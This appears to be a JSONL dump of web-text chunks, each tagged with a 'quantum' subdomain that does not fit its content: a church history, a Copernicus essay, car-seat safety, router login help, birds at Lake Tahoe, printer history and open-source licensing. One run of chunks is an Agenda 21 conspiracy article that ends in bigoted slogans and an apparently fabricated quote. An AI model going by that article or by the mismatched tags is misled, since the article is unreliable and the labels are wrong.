to our lady and a figure of the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3986279975819351, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.592949"} {"text": "of charles hulse, gentlemen, who died on 17 october 1678, aged 54 years. south aisle ( lady chapel ) the south aisle is in the early decorated style. in 1947, it was dedicated to our lady and a figure of the virgin and child, a copy of an italian statue, the work of martin travers, was erected above the lady altar itself is in memory of fr carus - wilson. the aumbry ( now used for keeping the holy oils ), given in memory of douglas reynolds, ex - chorister, the candlesticks engraved with ears of wheat and hops, given of charles carey, ex - chorister, were installed in about 1968. the stained glass window, depicting st michael and st george installed in 1922 in memory of the men from the parish who died in the first world war. the face of the devil, who is being trampled underfoot by the archangel, is said to bear a resemblance wilhelm ii. the statue of st catherine, which stands at the eastern end of the north aisle, above the stalls where the choir now sings, stands on a plinth, which was all that remained of the medieval figure of the saint. the original figure would have probably been over the original south door. the modern statue was made by mr w day and dedicated in 1971 in memory of miss mollie livermore. to the right of the statue is a mural brass of bennet, the wife of thomas finch ; she died in 1612, he in 1615. above the brass is a mural tablet in bas - relief depicting them both. the tomb behind the choir stalls was moved in 1866 from the original north wall. there is a mural tablet on the wall commemorating those who died in the 1939 - 45 war. as well as the restoration of st paul to the feast day of 29th june on the john finch memorial at the west end ( cf. p. 6 above ) - a reversal of reformation practice - what seems to be a further piece of evidence of the persistence of catholic tradition and practice at preston may be found in the list of incumbents by the north door, where we find the bald statement : ` 1645 - church suppressed '. the next incumbent, francis worrall, was not inducted until 1662 - the year of the final edition of the book of common prayer. the later, tractarian leanings of the parish in the nineteenth and twentieth centuries are well attested, and st catherine ' s has continued to uphold that strong doctrinal, spiritual and liturgical tradition up", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.36688787274629286, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.594023"} {"text": "nicolaus copernicus, who lived from 1473 until 1543, is known for his idea that the sun is motionless at the center of the universe and that the earth and other planets all revolve around it. this polish astronomer revolutionized beliefs involving the universe, making his thoughts controversial in his time, but common knowledge in our own ( westman ). before the time of copernicus, people had extremely different views of the universe. a greek astronomer named ptolemy had his own theory of the earth and its relationship with the sun and other planets. around 140 ad, he came up with a system that showed the earth at the center of the universe with the sun and planets revolving around it in a spherical shape ( reichenbach 15 - 17 ). ptolemy also believed that the earth remained still and that the outermost sphere contained the stars, which were fixed in space ( westman ). copernicus ' s theory showed the earth and other planets revolving around the sun in a circular motion. at the same time, the moon is rotating around the earth as well. like ptolemy, copernicus believed that the stars occupied the region farthest from the sun. copernicus, however, never stated whether or not these stars were in a fixed sphere around the universe or if they were scattered throughout space. unlike ptolemy ' s motionless earth, copernicus said the earth rotates around itself daily, causing night and day ( armitage, 112 - 15 ). he also realized that the greater the distance from the sun a planet was, the more time it takes for that planet to completely revolve around the sun ( westman ). at first, copernicus only planned to use his new system as an easier way to chart the planets ' positions. but, he explained everything with such high detail and mathematics that astronomers around the time of his death began to wonder if his theory might actually be the truth. he was cautious to publish his ideas because he saw potential for trouble and possibly even a heresy charge... [ continues ] cite this essay ( 2005, 04 ). nicolaus copernicus. studymode. com. retrieved 04, 2005, from http : / / www. studymode. com / essays / nicolaus - copernicus - 53629. html \" nicolaus copernicus \" studymode. com. 04 2005. 04 2005 < http : / / www. studymode. com / essays / nicolaus - copernicus - 53629. html", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5565325892178775, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.597694"} {"text": "traveling with children can be loads of fun but it also poses challenges that can test even the calmest of parents. the safest way for your child to travel is in their car seat, even if they \u2019 re on a plane. if there is a sudden change in trajectory, that 5 - point harness will be able to hold onto the child better. we have a much better probability of surviving a crash ( and less injury ) if we stay where we \u2019 re seated. if we \u2019 re flinging around the inside of a car or plane, our chances of injury or death are increased. children are at a disadvantage because they \u2019 re lighter weight and have much more flexible cartilige than they do rigid bone because of all the growing that they have to do. that means that the 5 - point harness that the car seats use hold in that little flexible body way better than just a 3 - point seatbelt would. ( a 3 - point seatbelt is a standard lap - shoulder seatbelt ), or a 2 - point ( lap belt ) on a plane. let \u2019 s go back to the how do you catch a raw egg demonstration. let \u2019 s imagine you \u2019 re running while holding an egg in your flat palm hand. if you stop, the egg would keep going and fling off of your hand in front of you. the is newton \u2019 s first law of physics, the law of inertia, \u201c an object in motion will stay in motion until an unbalanced force upon it. \u201d meaning, if gravity weren \u2019 t affecting the object to bring it to earth, it would keep going. the only way to stop the egg from flying off your hand and crashing to earth would be to curl your fingers around it and hold it in place. if you apply the same principal to your child riding in the car at 30mph to 60mph, or 500mph in a plane? now, that vehicle just dramatically changed directions by either crashing into another vehicle, or losing altitude? what \u2019 s holding your child to their seat? will they keep moving forward and hit the seat in front of them? will the hit the door, as the car has been twisted and the door that was next to them is suddenly in front of them? what about the plane? if we lost altitude, they would \u2018 fly \u2019 and hit the ceiling. it is important to have your child sitting in their car seat and properly buckled any time they are in a vehicle that is moving, whether that \u2019 s a plane, train, or", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.484100532154054, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.601099"} {"text": "we lost altitude, they would \u2018 fly \u2019 and hit the ceiling. it is important to have your child sitting in their car seat and properly buckled any time they are in a vehicle that is moving, whether that \u2019 s a plane, train, or automobile. rv \u2019 s are a whole other story and don \u2019 t have the same safety regulations that cars do, but we \u2019 ll leave this topic for another day. before you take off for the relatives house for the holidays, or even just running around town. please take the time to buckle your child properly in their car seat. - for car seat information, read your manual, check the seat, find a tech. - for a plane, if you have purchased your child a seat, bring their car seat and install it. they will get the window seat, and really will be more comfortable because the seat fits them. * booster seats are not approved for use on aircraft, but still take it with you and gate check it. that way you \u2019 re guaranteed to have it on the other end when you arrive. - for a plane ii, if you have not purchased your child a seat ( airlines don \u2019 t usually require you to purchase a seat for your child until they are 2 years of age ), then check - in early and ask if there are any open seats that you may use for your child and their car seat. just remember every time you travel, if might feel safe in the car, but just imagine an egg sitting on the hood, not belted in... what would happen if you stopped suddenly? i wish you all happy holidays, and safe passage.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.3967097945038057, "token_count": 330, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.601766"} {"text": "like any ip address of the form 192. 168. x. y, 192. 168. 1. 1 is a private ipv4 address. devices on different networks can have this same ip address, but only one device on an internal network can have it. typically, this is the address of routers manufactured for home use by companies such as linksys. note that a router actually has at least two ip addresses visible to other devices : one for devices within the network and the other for the internet. configuring your router through 192. 168. 1. 1 you can visit http : / / 192. 168. 1. 1 to access your router \u2019 s configuration software through your computer \u2019 s browser. your connection to the router could be wired or wireless, although it is recommendable to be wired if you \u2019 re a novice. you may now be prompted for a username and password. for linksys, the default username and password are \u201c admin. \u201d in some firmware versions, the username is blank. for other models, try using \u201c admin \u201d - < blank > or \u201c admin \u201d - \u201c password \u201d. note that you can always change the router \u2019 s ip address from its default. cannot connect to 192. 168. 1. 1? if you cannot connect to 192. 168. 1. 1, try looking up the following suggested solutions. - make sure that the ip address of your computer is 192. 168. 1. x ( where x is between 2 to 255 ). to do this in windows, right click on network ( in the start menu ) and choose properties. now, choose \u201c view status \u201d of your lan connection. go to \u201c properties \u201d and then click \u201c internet protocol ( tcp / ipv4 ) \u201d and click the properties button. you can choose to obtain an ip address automatically ( i. e. through dhcp ), or you can assign an appropriate, unique ip address. for example, you can choose 192. 168. 1. 2 as the ip address, if it has not been already assigned on the network. leave the subnet mask at 255. 255. 255. 0 and type in 192. 168. 1. 1 for the default gateway. - if you think the ip address of the router has been changed, try one of the following : - find out the address of the default gateway. in windows, open the command line by going to start - > run. type in \u201c ipcon", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4666540857803154, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.604358"} {"text": "incline village, nev. - birds at lake tahoe are a lot like people. some are here year - round. some are here just for the winter. and others get blown off course, unsure of how they got here at all. and when birds find themselves in the unfamiliar environs of the lake tahoe basin, people purposefully come here to see them. kirk hardie, a biologist who teaches field ornithology at sierra nevada college and co - founder of the tahoe institute for natural science, spoke about the navigational follies of some species during a talk on winter birds last tuesday at the uc davis tahoe environmental research center. a long - tailed duck, a black - and - white species with a propensity for diving, has been spotted at lake tahoe within the past two weeks, hardie said. the duck breeds in the far north and should be along the coast for winter, according to the cornell lab of ornithology. hardie described the species as \" well out \" of its expected range. how it got here isn ' t known, but the bird ' s presence has brought birders up from sacramento in search of checking another species of their lifetime identification lists, hardie said. the duck is hard to spot because it tends to dwell well off shore, hardie said. it ' s for good reason, as the duck is one of the deepest - diving of its kind, able to reach 200 feet deep in its search of food. birds deviate from their normal migration routes for numerous reasons hardie said, including being an inexperienced juvenile, being blown off course by a storm or \" being born with the wrong dna \" for the right migration. some just get lost, the biologist said. a red - naped sapsucker, a woodpecker with brilliant scarlet patches on its throat and head, was among the recent anomalies in the basin when it was spotted during an annual christmas bird count in the basin. a native of much nevada and the great basin, the sapsucker was only slightly off course, hardie said. an american white pelican was also noted among the species during the christmas count, hardie said. a visit from the pelican, one of the largest birds in north america, isn ' t completely out of the ordinary, according to the biologist, but their appearances can be a little random. the bird winters throughout much of southern california. three - hundred and five species of birds have been sighted in the lake ta", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.39247573499693184, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.608171"} {"text": "progress report, compiled from the national reports to the un commission on sustainable development five years after agenda 21 was adopted. agenda 21 implementation from eco - logic, may / june, 1998 agenda 21 has never been debated or adopted by the congress of the united states. nevertheless, it is being vigorously implemented by the administrative agencies of the federal government, and by other nations around the world. more than 150 nations, including the united states of america, are participants in the united nations commission on sustainable development ( csd ). america ' s participation is not the result of an international treaty, ratified by congress. america ' s participation is the result of george bush signing agenda 21 at the 1992 united nations conference on environment and development in rio, and the current administration ' s desire to implement its objectives. participating nations voluntarily submit an annual report to the csd. in april, 1996, another massive gathering in rio, evaluated the progress toward the implementation of agenda 21, five years after it was adopted. staggering progress has been made world wide, and particularly in the united states. the following chart indicates progress made toward 32 specific agenda 21 objectives. the solid lines indicate the percentage of participating nations that have programs in place to achieve each of the objectives, or activities, listed on the left. the striped lines indicate the percentage of participating nations that are currently developing such programs. look carefully at the program activities, and the percentage of nations that already have active programs in place for each activity ; global implementation of agenda 21 is much very close to reality. in the united states, programs are already in place to achieve each of the objectives. the united nations rates as \" very good \" the progress of the united states in each of these categories. the un ' s analysis of each nation ' s report is available on the un web site. a closer examination of what the un has to say about the united state ' s implementation of agenda 21 is most revealing. one of the 32 specific objectives of agenda 21 is to create a \" national coordinating body \" in each nation. of the more than 150 participating nations, 73 % already have such a body, and an additional 9 % are in the process of creating a national coordinating body. in the united states, the national coordinating body is the president ' s council on sustainable development ( pcsd ). the united nations report says : \" in the united states, the pcsd was conceived to formulate recommendations for the implementation of agenda 21 \" the un report was prepared from information supplied by the u. s. state department. the report says", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46394851237324686, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.625146"} {"text": "). the united nations report says : \" in the united states, the pcsd was conceived to formulate recommendations for the implementation of agenda 21 \" the un report was prepared from information supplied by the u. s. state department. the report says further : \" the fundamental objective of the council was to forge a consensus among the various stakeholders ( government, business and industry, private citizens, non - profits, labor, etc. ) and create a viable sustainable development strategy that articulated the interests and concerns of all groups. \" in america, the constitution requires that consensus on public policy be hammered out in public by elected officials, not by 28 appointed individuals, carefully selected because of their known support of the principles expressed in agenda 21. this un description of the pcsd is found in a section of the report entitled \" integrated decision - making, \" also known as the \" consensus \" process. all federal agencies have now adopted this \" consensus \" process to by - pass congress and other elected bodies, to build consensus on agenda 21 activities at the local, state, and national levels. the un report describes america ' s progress in each of the activity areas in glowing terms. the report boasts that : \" the government has included representatives of ngos in the national delegation to every session of the commission on sustainable development as well as at other major international meetings. \" ngos play a vital role in the consensus process. through the new \" partnering \" programs of all federal agencies, selected ngos are funded to generate support for specific objectives, then provided a seat on the official u. s. delegation to un meetings to demonstrate \" civil society \" support for un and agenda 21 programs. \" most family planning interventions are conducted by ngos such as planned parenthood. in preparation for the international conference on population and development, public meetings were held throughout the u. s. to facilitate the participation of ngos and individuals. \" according to the report, the u. s. spent $ 25 million \" on the development of new contraceptive methods. \" the u. s. department of human services is credited with changing america ' s attitude about contraceptives : \" in other words, policy has shifted from discouraging contraception on the basis of age and marital status to promoting it to all who do not have access to service. \" \" sustainable development in school curriculum \" is one of the 32 specific objectives of agenda 21. this objective has been achieved in 63 % of the participating nations, and in process in another 17 %. in america : \" the national strategy on education is prepared by", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4802990167284847, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.626439"} {"text": "sustainable development in school curriculum \" is one of the 32 specific objectives of agenda 21. this objective has been achieved in 63 % of the participating nations, and in process in another 17 %. in america : \" the national strategy on education is prepared by the department of education and includes such programmes as goals 2000 and school to work. the biodiversity and ecosystem network ( beni ) was launched in october 1994 to utilize electronic communication networks to foster collaboration among partners in ecosystem management. the global learning and observations to benefit the environment ( globe ) was initiated to enable elementary and secondary school students to collect environmental data... through the internet. \" ( emphasis in original. ) the environmental protection agency ( epa ) is a major conduit through which agenda 21 programs and policies flow into the united states, without the benefit of congressional debate or decision. many of the initiatives are introduced by ngos, funded by the epa through their \" sustainable development challenge grant program. \" in 1996, the epa reported the following challenge grants. source : state department report to the un commission on sustainable development. recipient amount program title wilson college 48, 000 community supported agriculture in the mid - atlantic region olympic peninsula foundation 100, 000 washington wood smart certification program university of north carolina arboretum 50, 000 sustainable craft industry in appalachia new orleans building materials exchange 72, 070 building materials exchange in new orleans new hampshire forest sustainable standards work team 26, 000 sustaining forestry in new hampshire friends of the rappahannock 20, 000 marketing the economic benefits of sustainable development in the rappahannock river watershed thomas jefferson planning district commission 20, 000 preserving sustainability in central virginia region nebraska state recycling association 75, 000 ecopark development in omaha colleton county research development board 42, 000 implementing a strategic plan for sustainable development in south carolina arizona state university 70, 866 sustainable neighborhood design for the desert southwest in 1997, the epa reported 42 \" challenge grants, \" but chose not to report the name of the organization that received the money or how much money was awarded. a description of the funded projects is available on the epa web site at the following address : honest! ( this file is not easily accessible, but you can try. ) some of the program titles are : fish for the future ( oregon ) ; kansas city area sustainable land use initiative ; coastal georgia greenway ; building a sustainable community from the ground up ( kentucky ) : san francisco league of urban gardeners ( slug ) ; community bicycle shop ( washington ). social aspects of sustainable development as early as 1976, the un adopted a", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46814157127873496, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.627492"} {"text": "; coastal georgia greenway ; building a sustainable community from the ground up ( kentucky ) : san francisco league of urban gardeners ( slug ) ; community bicycle shop ( washington ). social aspects of sustainable development as early as 1976, the un adopted a policy relating to land use and population distribution : \" all countries should establish as a matter of urgency a national policy on human settlements, embodying the distribution of population... over national territory. such a policy should be devised to facilitate population redistribution to accord with the availability of resources. \" ( recommendation a. 1, habitat i, vancouver ). the commission on sustainable development ' s report laments \" the u. s. does not have an official population policy.... the u. s. also has no specific policies to modify the spatial distribution of the population. \" the report applauds, however, the u. s. ' s expenditure of $ 25 million \" on the development of new contraceptive methods, \" and the $ 144 million spent on \" all aspects of population research. \" the un report says that in america, the department of health & human services operates an office of population affairs ( opa ) which serves nearly 5 million people through a network of 4, 800 clinics to provide \" contraceptive services and supplies. \" moreover, usaid works through the united nations population fund to provide population control assistance in 60 countries. the report says that in america, \" policy has shifted from discouraging contraception on the basis of age and marital status to promoting it to all who do not have access to services. \" education is a key ingredient in the transformation to a sustainable society. the un commission on sustainable development reports that in america, \" the national strategy on education is prepared by the department of education and includes such programmes as goals 2000 and school to work \" ( emphasis added ). the national environmental education advisory council to the department of education consists of eleven individuals appointed by the epa administrator and includes representatives of women, ngos, and local authorities ( visioning councils ). the u. s. state department reported to the un that : \" at the primary school level, school curricula have already been reviewed and revised, and at the secondary school level, the revision of school curricula is being undertaken currently to address environment and development as a cross cutting issue. \" the state department also told the un : \" the u. s. has been involved in several awareness raising programmes and activities aimmed at the population at large ( earth day, industry supported campaigns", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.467266877103517, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.629387"} {"text": "to address environment and development as a cross cutting issue. \" the state department also told the un : \" the u. s. has been involved in several awareness raising programmes and activities aimmed at the population at large ( earth day, industry supported campaigns, ad council, program kab, arbor day, globe program, discovery channel, national geographic programmes, cnn, zooq, as it happens, and water clean - up programmes. \" while land use and zoning regulations are still considered to be a matter of local control, \" the department of housing and urban development ( hud ) operates a land use systems technology program, and a sustainable communities development system \" ( emphasis in original ). the programs are aimed at \" providing overall policy and technical purview of technologies affecting all dimensions of the ecological, land, natural resources, industrial, and development aspects of urbanization. \" the report says that \" the u. s. played an active role in habitat ii. usaid ' s urban programming approaches promote the principles of sustainable human settlements. \" ( see cologic, july / august, 1996 for comprehensive reports on habitat ii ). the transition from free - market agriculture to managed sustainable agriculture is well advanced in america, according to the un report. sustainable agriculture is defined in american law ( food, agriculture, conservation, and trade act of 1990 - 7 use 3101 ) to be : \" an integrated system of plant and animal production practices having a site - specific application that will, over the long term, satisfy human food and fiber needs ; enhance environmental quality and the natural resource base upon which the agriculture economy depends ; make the most efficient use of nonrenewable resources and on - farm resources and integrate, where appropriate, natural biological cycles and controls ; sustain the economic viability of farm operation ; and enhance the quality of life for farmers and members of rural communities, and society as a whole. \" to achieve sustainable agriculture in america, the u. s. department of agriculture works \" in concert with the president ' s council on sustainable development \" to implement several programs such as the environmental quality incentives program ( epuip ), and the farmland protection program, which was created to purchase development rights on up to 137, 600 ha of private property. the conservation reserve program has an additional 36 million acres of private property out of production, at least temporarily. the usda also funds the sustainable agriculture network ( san ) to provide information and advocacy to ngos and the public. other usda programs in place to promote sustainable agriculture include the integrated farm", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5106791643509826, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.630802"} {"text": "million acres of private property out of production, at least temporarily. the usda also funds the sustainable agriculture network ( san ) to provide information and advocacy to ngos and the public. other usda programs in place to promote sustainable agriculture include the integrated farm management systems ; integrated pest management ; appropriate technology transfer for rural areas ; and the alternative farming systems information center. the soil conservation service has been transformed into the natural resource conservation service with agents in virtually every county \" to assist landowners with resource planning. \" a revolving loan fund has been established to assist farmers in becoming sustainable through the development through the development of \" non - food, non - feed, non - traditional agricultural products \" such as the \" manufacture of paper from straw ; manufacture of high - quality furniture from low - quality logs ; the use of kenaf as a mat for seeding lawn grass making newsprint and fiberboard ; and the use of milkweed as a filler for pillows and comforters. \" america ' s efforts to achieve agenda 21 ' s objectives relating to the atmosphere are rated as \" good. \" the state department report to the un boasts that the epa, the department of energy, and the national oceanic and atmospheric administration are \" full - fledged \" members of the president ' s council on sustainable development. \" the president ' s climate change plan includes nearly 50 initiatives... \" according to the report. the u. s. supports the \" conservation and enhancement \" of carbon sinks, which is biomass and forests ( bioregions ), whether publicly or privately owned. the report boasts that the u. s. spent $ 31. 9 billion on air pollution abatement in 1993. interestingly, the convention on biological diversity is described as \" signed in 1993, but not yet ratified. \" nevertheless, the report says \" cooperative efforts involving various levels of government and the private sector are underway to implement the biosphere reserve concept in several regions. \" the southern appalachian man and the biosphere program ( samab ), and the international sonoran desert alliance, \" a cluster of biosphere reserves in northwestern mexico and arizona, \" are identified as example of implementation of the objectives of agenda 21. the nature conservancy is particularly identified as having \" pioneered \" biodiversity conservation. to achieve the objectives of agenda 21, and the convention on biological diversity, the report identifies several federal initiatives, including : the national biological service ; interagency committee on the environment and natural resources ; interagency ecosystem management task force, and the ecosystem management initiative. \" ecosystem management strategies", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4808159237889555, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.631801"} {"text": "and the convention on biological diversity, the report identifies several federal initiatives, including : the national biological service ; interagency committee on the environment and natural resources ; interagency ecosystem management task force, and the ecosystem management initiative. \" ecosystem management strategies have been adopted by the department of interior, agriculture, defense, energy, epa, and noaa. in some cases, broad - scale organizational frameworks are being implemented. for example, the u. s. fish & wildlife service in the department of interior has defined approximately 50 ecosystem units across the country as a basis for future planning related to sustainable management.... \" the report says that usaid provides funding to the biodiversity conservation network, which coordinates ngos and \" private sector partners, \" as well as to the indonesia biodiversity foundation, the mexican conservation fund, and a $ 3 million grant to conservation international. \" forest legislation has recently been revised to help combat deforestation envisaged under chapter 11 of agenda 21 and includes the forest stewardship act of 1990 ; the cooperative forestry assistance act of 1990 ; america the beautiful ( 1990 ) ; an the national indian forest resources an management act, \" according to the state department report to the un. the president ' s forest plan adopted for the pacific northwest region is described as \" the best example of policy following the unced [ agenda 21 ] forest principles. \" the report says that the \" american forest an paper association, which represents 95 % of the industrial forest land in the u. s., approved a set of sustainable forestry principles and guidelines. with the help of ngos which continue \" to draw attention to disparities between sustainable goals and current practices, \" and plans developed at the state level, \" resource plans will ultimately bring millions of hectares of nonindustrial private forest lands under stewardship management. \" while by no means complete, this summary of the united states ' report to the un commission on sustainable development should put to rest any doubt that the clinton / gore administration is, in fact, deliberately implementing agenda 21 in america. where laws have been revised, congress has not been told that the purpose of the revision is to comply with the mandates of agenda 21. where policies can be implemented administratively, congress is not even consulted. at the state and local level, elected officials are deliberately by - passed until local support can be generated by a \" stakeholders \" council, led by ngo professionals, funded by the federal government or by foundations in \" partnership \" with the federal government. agenda 21 embraces virtually every aspect of human life ; it", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44545685356056924, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.632980"} {"text": "by - passed until local support can be generated by a \" stakeholders \" council, led by ngo professionals, funded by the federal government or by foundations in \" partnership \" with the federal government. agenda 21 embraces virtually every aspect of human life ; it is being implemented aggressively in the united states. congress has never examined the totality of the agenda. instead, congress is fed only bits and pieces in the context of \" protecting the environment. \" the ultimate objective of agenda 21 is to establish \" international norms \" of personal behavior that are dictated by a handful of the world ' s enlightened elite who believe they know best how people ought to live. the un commission on sustainable development is not the result of a treaty ratified by the senate. america participates in the un organization by executive decree. through the clinton / gore administration, america is actually driving the agenda globally, and making it possible for the un to dictate, not only in america, but around the world, how all people must live. sustainable development menu agenda 21 is real and in play!!!! down with the united nataions.. they have been and are destroying america..! view the trailerilluminati credentialsthe crf roster..! the truth about hades..! bhs is an imbecilic puppet..! commie / muslim / unitarian..! to all the murdered babies.. god bless you..! as per, barney frank : \" we are forcing money, upon the elderley, let them die \".. the death panel in action..! the ultimate power is god..! satan is a liar...! god bless and in god we must trust..!", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.47744623635252004, "token_count": 349, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.633609"} {"text": "thursday, august 2, 2012 the connection might be difficult for today \u2019 s generation to make, but modern printer technology has its roots going as far back as the 1400s. in those times, printing was quite a manual effort, requiring bulky machines that definitely would not fit on your average office desk. these primitive machines, known as printing presses, revolutionized the speed at which books were printed. most books were copied by hand prior to the invention of printing presses. these heavy, wooden devices accepted type arranged into pages placed within a frame that is placed upon a flat stone known as a \u201c bed. \u201d the type would be \u201c loaded \u201d with ink while the paper would be held between two frames. the bed would be rolled under a platen used to provide pressure to make an ink impression. it is interesting to note how some of the terms used for printing press components are still used today. one renaissance - era printing press could generate 3, 600 pages per day, which was phenomenal when compared to the few pages that could be done per day when copying by hand. by today \u2019 s standards the process used to make \u201c printouts \u201d with a classic printing press was incredibly slow. in its time, however, the printing press was a remarkable breakthrough in printing technology, improving communications and rendering scribes obsolete. it has been said that the so - called \u201c printer revolution \u201d began the \u201c democratization of knowledge \u201d and formed the foundation for our modern knowledge - based economy by making the printed word both available and affordable to the general public. the invention of the classic printing press was so remarkable that it would remain in use without significant change in design until the early 1800s. around this time the world began to see several major changes in printing press technology, including the replacement of the printing flatbed with the rotary motion of cylinders and the release of the first steam - powered, automatic printing press. by 1843, a steam - powered rotary printing press could printing millions of copies of a page in just one day, making newspapers available to the masses and helping to spread literacy amongst the general population. jobbing presses were invented that could print small - format pieces such as letterheads and business cards. by the early 1940s, printing presses could generate up to 3, 000 impressions per hour. today \u2019 s printing presses have come a long way since then. fully - automatic, digital presses can print and fold entire newspapers now using multiple fonts and multiple colors. capable of printing 230 a4 pages per minute, the xeikon 8000 currently holds the record as the", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.48950827122836593, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.637561"} {"text": "come a long way since then. fully - automatic, digital presses can print and fold entire newspapers now using multiple fonts and multiple colors. capable of printing 230 a4 pages per minute, the xeikon 8000 currently holds the record as the fastest digital color press in the world. while such a speed record may be prove valuable to the printing industry, it hardly makes a difference to the average consumer, someone who isn \u2019 t in the market for a multi - million dollar printing system. fortunately for consumers, printing technology became rapidly available to the masses in the middle of the 20th century. xerox developed the first automatic photocopier in 1959, going fully digital just a couple decades later. dot - matrix printers became commonplace in households in the mid - 1980s, allowing the average consumer to print a variety of items without the need of a professional printing press. despite being cheap and versatile, dot - matrix printers proved to be too slow and cumbersome for the average user. inkjet and laser printers practically replaced them overnight as soon as they became affordable enough for home - based use. with the inclusion of faxing and scanning capabilities, the average consumer - grade printer is capable of serving many needs that once could only be done by a professional printer or photo shop. jeff gonzales is a tech writer, software engineer and overall 15 - year veteran in the it industry. he writes for businesses covering it products and categories, e. g : printers from harvey horman. when he is not busy writing code or writing copy, he can be found travelling the world, working out in the gym or mixing underground house music. this post was published by : appsapp appsapp is a professional blogger, entrepreneur and internet visionary. follow him on twitter technews24h koristi i preporucuje - avalon web hosting recommended.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4467232306070711, "token_count": 371, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.638409"} {"text": "richard stallman may have kick - started the free software and open source software community, but the open source initiative was founded in 1998 by bruce perens and eric raymond to offer an alternative approach to defining and promoting the same software development processes and licenses, and that approach has gotten the lion \u2019 s share of public recognition since. free software is a term that both promotes stallman \u2019 s ideological goals regarding how software is distributed, thus turning off business - oriented software users who disagree with stallman \u2019 s ideology, and manages to conflate itself with software that simply doesn \u2019 t cost anything. perens and raymond coined the term \u201c open source software \u201d to refer to software developed under essentially the same conditions as stallman \u2019 s free software definition. once the term \u201c open source software \u201d was coined, it was also defined. the official open source definition is clear, and explains how software must be licensed to qualify as open source software. the specific points of the definition address issues related to : - source code - derived works - integrity of the author \u2019 s source code - no discrimination against persons or groups - no discrimination against fields of endeavor - distribution of license - license product specificity - license restrictions on other software - license technology neutrality a summary of the effect of the conditions mandated by that definition is available in the wikipedia article about open source software : open - source software ( oss ) is computer software that is available in source code form for which the source code and certain other rights normally reserved for copyright holders are provided under a software license that permits users to study, change, and improve the software. unfortunately, the fact is that many people misuse the term \u201c open source software \u201d when referring to their own software. in the process of looking for a decent dice roller irc bot in 2010, i came across one called bones. on the announcement page for it, bones : ruby irc dicebot, its author said the dicebot is : free : like most irc bots, bones is open source and released free of charge. in subsequent email discussion with its author, it turned out that his definition of \u201c open source \u201d is substantially different from that of the open source initiative, me personally, and the entire open source community \u2014 to say nothing of microsoft, oracle, tech journalists, and just about everybody else who uses the term : question : you said in your page for bones that \u201c like most irc bots, bones is open source and released free of charge. \u201d what open source license are you using for it? i haven", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5721552299909032, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.643933"} {"text": "just about everybody else who uses the term : question : you said in your page for bones that \u201c like most irc bots, bones is open source and released free of charge. \u201d what open source license are you using for it? i haven \u2019 t released it under any particular open source license. it \u2019 s only open source in so far as it isn \u2019 t closed source. in an attempt to clarify the legal standing of the irc bot, i asked further : any chance i could get you to let me do stuff with it under a copyfree license ( my preference is the open works license, though bsd and 